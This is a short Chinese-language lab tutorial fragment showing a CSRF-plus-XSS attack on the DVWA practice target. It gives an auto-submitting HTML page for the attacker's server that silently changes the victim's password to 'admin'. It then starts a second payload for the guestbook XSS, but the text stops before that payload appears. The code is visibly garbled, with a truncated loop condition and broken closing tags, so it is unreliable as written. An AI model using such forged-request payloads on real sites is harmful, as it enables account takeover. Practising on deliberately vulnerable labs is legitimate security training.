• CSRF+XSS组合

    环境：dvwa靶场+low等级+CSRF+XSS

    payload1

    将如下代码 1.html 放置攻击者web服务器中（dvwa靶场搭建的网站根目录）

    2. <body onload="javascript:fireForms()">
    3. <script language="JavaScript">
    4. var pauses = new Array( "42" );
    5. function pausecomp(millis){
    6.     var date = new Date();
    7.     var curDate = null;
    8.     do { curDate = new Date(); }
    9.     while(curDate-date < millis);}
    10. function fireForms(){
    11.     var count = 1;
    12.     var i=0;
    13.     for(i=0; i
    14.         document.forms[i].submit();
    15.         pausecomp(pauses[i]);}}
    16.  
    17. script>
    18.     <form action="http://127.0.0.1/dvwa/vulnerabilities/csrf/">
    19.       <input type="hidden" name="password_new" value="admin" />
    20.       <input type="hidden" name="password_conf" value="admin" />
    21.       <input type="hidden" name="Change" value="Change" />
    22.       <input type="submit" value="Submit request" />
    23.     form>
    24. body>
    25. html>

    注意：第18行的url是csrf页面，具体的IP、路径可能因人而异，注意修改

    payload2

    将如下代码插入到存在XSS的位置——sign guestbook

    1.